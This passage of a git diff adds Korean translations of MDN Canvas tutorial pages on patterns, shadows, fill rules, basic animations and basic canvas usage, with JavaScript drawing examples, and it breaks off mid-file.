+
+<h2 id="Patterns" name="Patterns">패턴(Patterns)</h2>
+
+<p>이전 페이지의 예제 중 하나에서 일련의 루프를 사용하여 이미지 패턴을 만들었습니다. 그러나 훨씬 간단한 메소드 인 createPattern () 메소드가 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd>새 캔버스 패턴 객체를 만들어 반환합니다. <code>image</code>는 {{domxref("CanvasImageSource")}}(즉, {{domxref("HTMLImageElement")}}, 다른 캔버스, {{HTMLElement("video")}} 요소 등등)입니다. <code>type</code>은 이미지 사용 방법을 나타내는 문자열입니다.</dd>
+</dl>
+
+<p><code>type</code>은 패턴을 만들기 위해 이미지를 사용하는 방법을 지정하며, 다음 문자열 값 중 하나 여야합니다.</p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>수직 및 수평 방향으로 이미지를 이어 붙입니다.</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>수평 방향으로만 이미지를 이어 붙입니다.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>수직 방향으로만 이미지를 이어 붙입니다.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>이미지를 이어 붙이지 않습니다. 이미지는 한번만 사용됩니다.</dd>
+</dl>
+
+<p>이 메소드를 사용하여 위에서 본 그라디언트 메소드와 매우 유사한 {{domxref ( "CanvasPattern")}} 객체를 생성합니다. 패턴을 생성하면 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성에 패턴을 할당 할 수 있습니다. 예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img, 'repeat');
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>drawImage ()</code> 메서드와 마찬가지로 이 메소드를 호출하기 전에 이미지가 로드되었는지 확인해야합니다. 그렇지 않으면 패턴이 잘못 그려 질 수 있습니다.</p>
+</div>
+
+<h3 id="A_createPattern_example" name="A_createPattern_example"><code>createPattern</code> 예제</h3>
+
+<p>이 마지막 예제에서, <code>fillStyle</code> 속성에 적용할 패턴을 만들 것입니다. 한 가지 눈여겨 볼 것은, 이미지 <code>onload</code> 핸들러 사용한다는 것입니다. 이미지를 패턴에 적용하기 전에 불러오기가 완료되었는지 확인하는 것입니다.</p>
+
+<pre class="brush: js;highlight[10]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 패턴으로 사용할 이미지 오브젝트를 생성한다
+ var img = new Image();
+ img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+ img.onload = function() {
+
+ // 패턴을 생성한다
+ var ptrn = ctx.createPattern(img,'repeat');
+ ctx.fillStyle = ptrn;
+ ctx.fillRect(0,0,150,150);
+
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+
+<p>The result looks like this:</p>
+</div>
+
+<p>{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="그림자">그림자</h2>
+
+<p>그림자 사용에는 네 개의 속성이 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd>그림자가 객체에서 연장되어야하는 수평 거리를 나타냅니다. 이 값은 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd>그림자가 객체에서 연장되어야하는 수직 거리를 나타냅니다. 이 값은 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd>흐림(blur) 효과의 크기를 나타냅니다. 이 값은 픽셀 수와 일치하지 않으며 현재 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>그림자 효과의 색상을 나타내는 표준 CSS 색상 값. 기본적으로 완전 검은색입니다.</dd>
+</dl>
+
+<p><code>shadowOffsetX</code> 및 <code>shadowOffsetY</code> 속성은 그림자가 X 및 Y 방향으로 객체에서 얼마나 멀리 떨어져야하는지 나타냅니다. 이 값은 현재 변환 행렬의 영향을받지 않습니다. 음수값을 사용하면 그림자가 위로 또는 왼쪽으로 확장되고 양수값을 사용하면 그림자가 아래로 또는 오른쪽으로 확장됩니다. 기본값은 모두 0입니다.</p>
+
+<p><code>shadowBlur</code> 속성은 흐림 효과의 크기를 나타냅니다. 이 값은 픽셀 수와 일치하지 않으며 현재 변환 행렬의 영향을받지 않습니다. 기본값은 0입니다.</p>
+
+<p><code>shadowColor</code> 속성은 그림자 효과의 색상을 나타내는 표준 CSS 색상 값입니다. 기본값은 완전 검은색입니다.</p>
+
+<div class="note">
+<p><strong>알아둘 것:</strong> 음영은 <code>source-over</code> <a href="/ko/docs/docs/Web/API/Canvas_API/Tutorial/Compositing">합성 작업</a>에만 사용됩니다.</p>
+</div>
+
+<h3 id="그림자_있는_글자_예제">그림자 있는 글자 예제</h3>
+
+<p>이 예제에서는 그림자가 있는 글자를 그립니다.</p>
+
+<pre class="brush: js;highlight[4,5,6,7]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ ctx.shadowOffsetX = 2;
+ ctx.shadowOffsetY = 2;
+ ctx.shadowBlur = 2;
+ ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+ ctx.font = "20px Times New Roman";
+ ctx.fillStyle = "Black";
+ ctx.fillText("Sample String", 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>다음 장에서 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 그리기</a>에 대한 <code>font</code> 속성과 <code>fillText</code> 메소드를 살펴 보겠습니다.</p>
+
+<h2 id="캔버스_채우기_규칙">캔버스 채우기 규칙</h2>
+
+<p><code>fill</code> (혹은 {{domxref("CanvasRenderingContext2D.clip", "clip")}} 및 {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}})을 사용할 때 한 점이 경로 안쪽 또는 바깥에 있는지 그리고 따라서 채워지는지 여부를 결정하기 위한 채우기 규칙 알고리즘을 선택적으로 제공 할 수 있습니다. 경로가 교차하거나 중첩 된 경우에 유용합니다.<br>
+ <br>
+ 다음 두가지 값을 사용할 수 있습니다:</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": <a href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero winding rule</a> 알고리즘. 기본값.</li>
+ <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd winding rule</a> 알고리즘.</li>
+</ul>
+
+<p>In this example we are using the <code>evenodd</code> rule.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ ctx.beginPath();
+ ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
+ ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
+ ctx.fill('evenodd');
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js"><code>draw();</code></pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/basic_animations/index.html b/files/ko/web/html/canvas/tutorial/basic_animations/index.html
new file mode 100644
index 0000000000..457d658172
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/basic_animations/index.html
@@ -0,0 +1,310 @@
+---
+title: 기본 애니메이션
+slug: Web/HTML/Canvas/Tutorial/Basic_animations
+tags:
+ - HTML5
+ - 그래픽
+ - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<p>{{HTMLElement("canvas")}} 요소는 자바스크립트로 제어하는 것이므로, 애니메이션도 쉽게 만들 수 있습니다. 복잡한 애니메이션을 만드는 것은 추가 작업이 더 필요하고, 앞으로 그에 대한 페이지도 머지 않아 추가되기를 기대합니다.</p>
+<p>도형은 한번 만들어 놓으면 그 모습 그대로 있다는 것이 애니메이션을 만들 때의 가장 큰 제약일 것입니다. 그 도형을 움직이고자 하면 그 도형뿐만이 아니라 그 도형이 그려지기 전에 그려진 모든 것을 다시 그려야 합니다. 복잡한 장면을 다시 그리는 것은 시간도 많이 걸리며, 코드를 실행하는 컴퓨터의 능력에 따라 달라집니다.</p>
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">기본 애니메이션 단계</h2>
+<p>한 장면을 그리려면 아래와 같은 단계를 밟습니다.</p>
+<ol>
+ <li><strong>캔버스를 비웁니다.</strong><br>
+ 그리려는 도형이 (배경 이미지를 만들 때처럼) 캔버스를 가득 채우는 것이 아니라면, 이전에 그려진 모든 도형을 지울 필요가 있습니다. 가장 쉬운 방법은 <code>clearRect()</code> 메소드를 사용하는 것입니다.</li>
+ <li><strong>캔버스 상태를 저장합니다.</strong><br>
+ 캔버스 상태에 영향을 주는 (스타일 변경, 모양 변형 등의) 설정값을 바꾸려고 하고, 바뀐 값을 각 장면마다 사용하려고 한다면, 원래 상태를 저장할 필요가 있습니다.</li>
+ <li><strong>애니메이션할 도형을 그립니다.</strong><br>
+ 실제 장면을 그리는 단계입니다.</li>
+ <li><strong>캔버스 상태를 복원합니다.</strong><br>
+ 새로운 장면을 그리기 전에 저장된 상태를 복원합니다.</li>
+</ol>
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">애니메이션 제어하기</h2>
+<p>캔버스 메소드를 사용하거나 사용자 함수를 사용하여 캔버스에 도형들을 그립니다. 보통의 경우에서는, 코드 실행이 완료되면 캔버스에 나타나는 결과만을 보게 됩니다. 예를 들어,  <code>for</code> 반복문 안에서 애니메이션을 실행하는 것은 불가능합니다.</p>
+<p>그래서 정해진 시간마다 그리기 함수를 실행하는 방법이 필요한 것입니다. 아래와 같이 애니메이션을 제어하는 두 가지 방법이 있습니다.</p>
+<h3 id="예정된_변경">예정된 변경</h3>
+<p>정해진 시간마다 특정 함수를 부를 때 사용할 수 있는  {{domxref("window.setInterval()")}}과 {{domxref("window.setTimeout()")}} 함수가 있습니다.</p>
+<div class="note">
+ <p>알아둘 것: 현재는 애니메이션을 만드는 방법으로  {{domxref("window.requestAnimationFrame()")}} 메소드를 추천합니다. 이에 대한 튜토리얼은 곧 업데이트할 것입니다.</p>
+</div>
+<dl>
+ <dt>
+ <code>setInterval(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>
+ <code>delay</code> 밀리세컨드(1,000분의 1초)마다 <code>function</code> 함수 반복 실행을 시작합니다.</dd>
+ <dt>
+ <code>setTimeout(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>
+ <code>delay</code> 밀리세컨드(1,000분의 1초) 경과후, <code>function</code> 함수를 실행합니다.</dd>
+</dl>
+<p>사용자의 제어를  <strong>필요로 하지 않는</strong> 반복 실행에는  <code>setInterval()</code> 함수가 알맞을 것입니다.</p>
+<h3 id="사용자_상호_작용_변경">사용자 상호 작용 변경</h3>
+<p>애니메이션을 제어하는 두번째 방법은 사용자 입력입니다. 게임을 만들려고 한다면, 애니메이션을 제어하기 위해 키보드나 마우스 이벤트를 사용할 수 있을 것입니다.  {{domxref("EventListener")}}를 설정하여, 사용자와 상호 작용하여 애니메이션 함수를 실행합니다.</p>
+<p>사용자 상호 작용이 <strong>필요하다면</strong>, 우리가 만든 <a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">애니메이션용 프레임웍(framework)</a>의 <a href="/en-US/docs/DOM/window.setInterval#A_little_framework" title="/en-US/docs/DOM/window.setInterval#A_little_framework">최소 기능 버전</a> 또는 <a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">최대 기능 버전</a>을 사용할 수 있을 것입니다.</p>
+<pre>var myAnimation = new MiniDaemon(null, animateShape, 500, Infinity);</pre>
+<p>또는</p>
+<pre>var myAnimation = new Daemon(null, animateShape, 500, Infinity);</pre>
+<p>아래 예제에서는, 애니메이션을 제어하기 위해 {{domxref("window.setInterval()")}}을 사용할 것입니다. 페이지 제일 아래쪽에 {{domxref("window.setTimeout()")}}을 사용한 예제 링크도 있습니다.</p>
+<h4 id="태양계_애니메이션">태양계 애니메이션</h4>
+<p>이 예제에서는 달이 지구를 돌고 지구가 태양을 도는 애니메이션을 만듭니다.</p>
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+ sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+ moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+ earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+ setInterval(draw,100);
+}
+
+function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ ctx.globalCompositeOperation = 'destination-over';
+ ctx.clearRect(0,0,300,300); // 캔버스를 비운다
+
+ ctx.fillStyle = 'rgba(0,0,0,0.4)';
+ ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+ ctx.save();
+ ctx.translate(150,150);
+
+ // 지구
+ var time = new Date();
+ ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+ ctx.translate(105,0);
+ ctx.fillRect(0,-12,50,24); // Shadow
+ ctx.drawImage(earth,-12,-12);
+
+ // 달
+ ctx.save();
+ ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+ ctx.translate(0,28.5);
+ ctx.drawImage(moon,-3.5,-3.5);
+ ctx.restore();
+
+ ctx.restore();
+
+ ctx.beginPath();
+ ctx.arc(150,150,105,0,Math.PI*2,false); // 지구 궤도
+ ctx.stroke();
+
+ ctx.drawImage(sun,0,0,300,300);
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">init();</pre>
+</div>
+<p>{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+<h4 id="시계_애니메이션">시계 애니메이션</h4>
+<p>이 예제에서는, 현재 시각을 보여주는 움직이는 시계를 만듭니다.</p>
+<pre class="brush: js">function init(){
+ clock();
+ setInterval(clock,1000);
+}
+
+function clock(){
+ var now = new Date();
+ var ctx = document.getElementById('canvas').getContext('2d');
+ ctx.save();
+ ctx.clearRect(0,0,150,150);
+ ctx.translate(75,75);
+ ctx.scale(0.4,0.4);
+ ctx.rotate(-Math.PI/2);
+ ctx.strokeStyle = "black";
+ ctx.fillStyle = "white";
+ ctx.lineWidth = 8;
+ ctx.lineCap = "round";
+
+ // 시계판 - 시
+ ctx.save();
+ for (var i=0;i&lt;12;i++){
+ ctx.beginPath();
+ ctx.rotate(Math.PI/6);
+ ctx.moveTo(100,0);
+ ctx.lineTo(120,0);
+ ctx.stroke();
+ }
+ ctx.restore();
+
+ // 시계판 - 분
+ ctx.save();
+ ctx.lineWidth = 5;
+ for (i=0;i&lt;60;i++){
+ if (i%5!=0) {
+ ctx.beginPath();
+ ctx.moveTo(117,0);
+ ctx.lineTo(120,0);
+ ctx.stroke();
+ }
+ ctx.rotate(Math.PI/30);
+ }
+ ctx.restore();
+
+ var sec = now.getSeconds();
+ var min = now.getMinutes();
+ var hr = now.getHours();
+ hr = hr&gt;=12 ? hr-12 : hr;
+
+ ctx.fillStyle = "black";
+
+ // 시간 표시 - 시
+ ctx.save();
+ ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+ ctx.lineWidth = 14;
+ ctx.beginPath();
+ ctx.moveTo(-20,0);
+ ctx.lineTo(80,0);
+ ctx.stroke();
+ ctx.restore();
+
+ // 시간 표시 - 분
+ ctx.save();
+ ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+ ctx.lineWidth = 10;
+ ctx.beginPath();
+ ctx.moveTo(-28,0);
+ ctx.lineTo(112,0);
+ ctx.stroke();
+ ctx.restore();
+
+ // 시간 표시 - 초
+ ctx.save();
+ ctx.rotate(sec * Math.PI/30);
+ ctx.strokeStyle = "#D40000";
+ ctx.fillStyle = "#D40000";
+ ctx.lineWidth = 6;
+ ctx.beginPath();
+ ctx.moveTo(-30,0);
+ ctx.lineTo(83,0);
+ ctx.stroke();
+ ctx.beginPath();
+ ctx.arc(0,0,10,0,Math.PI*2,true);
+ ctx.fill();
+ ctx.beginPath();
+ ctx.arc(95,0,10,0,Math.PI*2,true);
+ ctx.stroke();
+ ctx.fillStyle = "rgba(0,0,0,0)";
+ ctx.arc(0,0,3,0,Math.PI*2,true);
+ ctx.fill();
+ ctx.restore();
+
+ ctx.beginPath();
+ ctx.lineWidth = 14;
+ ctx.strokeStyle = '#325FA2';
+ ctx.arc(0,0,142,0,Math.PI*2,true);
+ ctx.stroke();
+
+ ctx.restore();
+}</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">init();</pre>
+</div>
+<p>{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+<h4 id="움직이는_파노라마_사진">움직이는 파노라마 사진</h4>
+<p>이 예제에서는, 움직이는 파노라마 사진을 만듭니다. 사용할 그림은 위키피디어(Wikipedia)에서 구한 <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">요세미티 국립공원</a>입니다. 캔버스보다 큰 그림을 사용할 수도 있습니다.</p>
+<pre class="brush: js">var img = new Image();
+
+// 변수
+// 스크롤될 이미지, 방향, 속도를 바꾸려면 변수값을 바꾼다.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; // 값이 작을 수록 빨라진다
+var scale = 1.05;
+var y = -4.5; // 수직 옵셋
+
+// 주요 프로그램
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+ imgW = img.width*scale;
+ imgH = img.height*scale;
+ if (imgW &gt; CanvasXSize) { x = CanvasXSize-imgW; } // 캔버스보다 큰 이미지
+ if (imgW &gt; CanvasXSize) { clearX = imgW; } // 캔버스보다 큰 이미지
+ else { clearX = CanvasXSize; }
+ if (imgH &gt; CanvasYSize) { clearY = imgH; } // 캔버스보다 큰 이미지
+ else { clearY = CanvasYSize; }
+ // 캔버스 요소 얻기
+ ctx = document.getElementById('canvas').getContext('2d');
+ // 새로 그리기 속도 설정
+ return setInterval(draw, speed);
+}
+
+function draw() {
+ // 캔버스를 비운다
+ ctx.clearRect(0,0,clearX,clearY);
+ // 이미지가 캔버스보다 작거나 같다면 (If image is &lt;= Canvas Size)
+ if (imgW &lt;= CanvasXSize) {
+ // 재설정, 처음부터 시작
+ if (x &gt; (CanvasXSize)) { x = 0; }
+ // 추가 이미지 그리기
+ if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+ }
+ // 이미지가 캔버스보다 크다면 (If image is &gt; Canvas Size)
+ else {
+ // 재설정, 처음부터 시작
+ if (x &gt; (CanvasXSize)) { x = CanvasXSize-imgW; }
+ // 추가 이미지 그리기
+ if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+ }
+ // 이미지 그리기
+ ctx.drawImage(img,x,y,imgW,imgH);
+ // 움직임 정도
+ x += dx;
+}
+</pre>
+<p>예제에 사용된 {{HTMLElement("canvas")}}의 크기는 아래와 같다. 캔버스의 너비가 변수 <code>CanvasXSize</code>값과 같고, 캔버스의 높이는 변수 <code>CanvasYSize</code>값과 같다는 것에 주목하라.</p>
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+<p><strong>Live sample</strong></p>
+<p>{{EmbedLiveSample("A_looping_panorama", "830", "230")}}</p>
+<h2 id="Other_examples" name="Other_examples">또 다른 예제들</h2>
+<dl>
+ <dt>
+ <a class="external" href="http://www.gartic.net/" title="http://www.gartic.net/">Gartic</a></dt>
+ <dd>
+ 다중 사용자 지원 그리기 놀이.</dd>
+ <dt>
+ <a class="external" href="http://www.abrahamjoffe.com.au/ben/canvascape/">Canvascape</a></dt>
+ <dd>
+ 3D 어드벤처 게임 (1인칭 슈팅).</dd>
+ <dt>
+ <a href="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">A basic ray-caster</a></dt>
+ <dd>
+ 키보드를 사용한 애니메이션 제어 방법에 대한 좋은 예제.</dd>
+ <dt>
+ <a class="external" href="http://andrewwooldridge.com/canvas/canvasgame001/canvasgame002.html">canvas adventure</a></dt>
+ <dd>
+ 키보드 제어를 사용하는 또다른 좋은 예제.</dd>
+ <dt>
+ <a class="external" href="http://www.blobsallad.se/">An interactive Blob</a></dt>
+ <dd>
+ 물방울 갖고 놀기.</dd>
+ <dt>
+ <a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Flying through a starfield</a></dt>
+ <dd>
+ 별, 동그라미, 네모가 떠다니는 우주를 누벼라.</dd>
+ <dt>
+ <a class="external" href="http://igrapher.com/" title="http://igrapher.com/">iGrapher</a></dt>
+ <dd>
+ 주식 시장 자료 차트 예제.</dd>
+</dl>
+<h2 id="이것도_보세요">이것도 보세요</h2>
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/DOM/window.setInterval#A_little_framework" title="/en-US/docs/DOM/window.setInterval#A_little_framework"><code>setInterval</code> – A little framework</a></li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">JavaScript Daemons Management</a></li>
+ <li><a href="/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement">HTMLCanvasElement</a></li>
+</ul>
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Compositing", "Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/basic_usage/index.html b/files/ko/web/html/canvas/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..f455563e87
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/basic_usage/index.html
@@ -0,0 +1,154 @@
+---
+title: 캔버스(Canvas) 기본 사용법
+slug: Web/HTML/Canvas/Tutorial/Basic_usage
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<div class="summary">
+<p>{{HTMLElement ( "canvas")}} {{Glossary ( "HTML")}} 엘리먼트를 살펴보는 것으로 이 튜토리얼을 시작해 보겠습니다. 이 페이지의 끝에서 캔버스 2D 컨텍스트를 설정하는 방법을 알게되고, 여러분의 브라우저에서 첫 번째 예제를 그리게 될 것입니다.</p>
+</div>
+
+<h2 id="&lt;canvas>_요소"><code>&lt;canvas&gt;</code> 요소</h2>
+
+<pre class="brush: html">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>{{HTMLElement ( "canvas")}}는 처음에는 src 및 alt 속성이 없다는 점만 제외하면 {{HTMLElement ( "img")}} 요소처럼 보입니다. 실제로 <code>&lt;canvas&gt;</code> 요소에는 {{htmlattrxref ( "width", "canvas")}}와 {{htmlattrxref ( "height", "canvas")}}의 두 속성만 있습니다. 이것들은 모두 선택사항이며 {{Glossary ( "DOM")}} <a href="ko/docs/Web/API/HTMLCanvasElement">프로퍼티</a>를 사용하여 설정할 수도 있습니다. width 및 height 속성을 지정하지 않으면 캔버스의 처음 너비는 <strong>300 픽셀</strong>이고 높이는 <strong>150 픽셀</strong>입니다. 요소는 {{Glossary ( "CSS")}}에 의해 임의로 크기를 정할 수 있지만 렌더링하는 동안 이미지는 레이아웃 크기에 맞게 크기가 조정됩니다. CSS 크기 지정이 초기 캔버스의 비율을 고려하지 않으면 왜곡되어 나타납니다 .</p>
+
+<div class="note">
+<p><strong>노트:</strong> 만약 렌더링이 왜곡된 것처럼 보이는 경우 CSS를 사용하지 않고 <code>&lt;canvas&gt;</code> 속성에서 <code>width</code> 및 <code>height</code> 속성을 명시적으로 지정하십시오.</p>
+</div>
+
+<p> </p>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code></a> 속성(어트리뷰트)는  <code>&lt;canvas&gt;</code> 요소에 국한되지 않는 글로벌HTML 속성 (<a href="/en-US/docs/Web/HTML/Global_attributes">global HTML attributes</a> )중 하나로,  모든 HTML 요소에 적용 ( <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code> 등등)될 수 있습니다.  대체로 항상 <code>id</code> 속성을 사용해 주는것이 좋은데, 이는 스크립트 내에서 구분을 쉽게 해 줄 수 있기 때문입니다.</p>
+
+<p><code>&lt;canvas&gt;</code>요소는 일반적인 이미지 ({{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("background")}}…) 처럼 스타일을 적용시킬 수 있습니다. 하지만 이 방법은 실제 캔버스 위에 그리는 것에는 영향을 끼치지 않습니다.  이 방법이 어떻게 사용되는지는 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">해당 챕터</a>에서 확인 할 수 있습니다.  캔버스에 스타일링이 따로 지정 되있지 않았다면, 캔버스 스타일은 투명으로 설정되어있습니다.</p>
+
+<div id="section_2">
+<h3 id="대체_콘텐츠">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소는 {{HTMLElement("video")}}, {{HTMLElement("audio")}} 혹은 {{HTMLElement("picture")}}처럼 {{HTMLElement("img")}}와는 달리, 인터넷 익스플로러 9 이하의 버전이나 텍스트기반 브라우저 등과 같은, 캔버스를 지원하지 않는 오래된 브라우저들을 위한 대체 컨텐츠를 정의하기 쉽습니다. 여러분은 그러한 브라우저들을 위한 대체 컨텐츠를 제공해야 합니다.</p>
+
+<p>대체 컨텐츠를 제공하는 것은 매우 간단합니다. <code>&lt;canvas&gt;</code>태그 안에  대체 컨텐츠를 삽입합니다. <code>&lt;canvas&gt;</code>태그 를 지원하지 않는 브라우저는 컨테이너를 무시하고 컨테이너 내부의 대체 콘텐츠를 렌더링 합니다. <code>&lt;canvas&gt;</code>를 지원하는 브라우저는 컨테이너 내부의 내용을 무시하고 캔버스를 정상적으로 렌더링합니다.</p>
+
+<p>예를 들어, 캔버스 내용에 대한 텍스트 설명을 제공하거나 동적으로 렌더링 된 내용의 정적 이미지를 제공 할 수 있습니다. 이것은 다음과 같이 보일 수있습니다:</p>
+
+<pre class="brush: html">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+ current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+ &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<p>사용자에게 캔버스를 지원하는 다른 브라우저를 사용하도록 하는 것은 캔버스를 해석하지 못하는 사용자에게 전혀 도움이 되지 않습니다. 유용한 대체 텍스트나 하위 DOM을 제공하는 것이 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">캔버스에 더 쉽게 접근할수 있도록</a> 도움이 될 것입니다.</p>
+
+<h3 id="&lt;canvas>_태그_필수"><code>&lt;/canvas&gt;</code> 태그 필수</h3>
+
+<p>대체 컨텐츠가 제공되는 방식때문에, {{HTMLElement("img")}} 요소와 달리, {{HTMLElement("canvas")}} 요소는 닫는 태그(<code>&lt;/canvas&gt;</code>)가 필요합니다. 닫는 태그가 없다면, 문서의 나머지 부분이 대체 컨텐츠로 간주되고 보이지 않을 것입니다.</p>
+
+<p>대체 컨텐츠가 필요하지 않다면, 단순히 <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code>가 모든 미지원 브라우저에서 완전하게 호환됩니다.</p>
+
+<h2 id="렌더링_컨텍스트">렌더링 컨텍스트</h2>
+
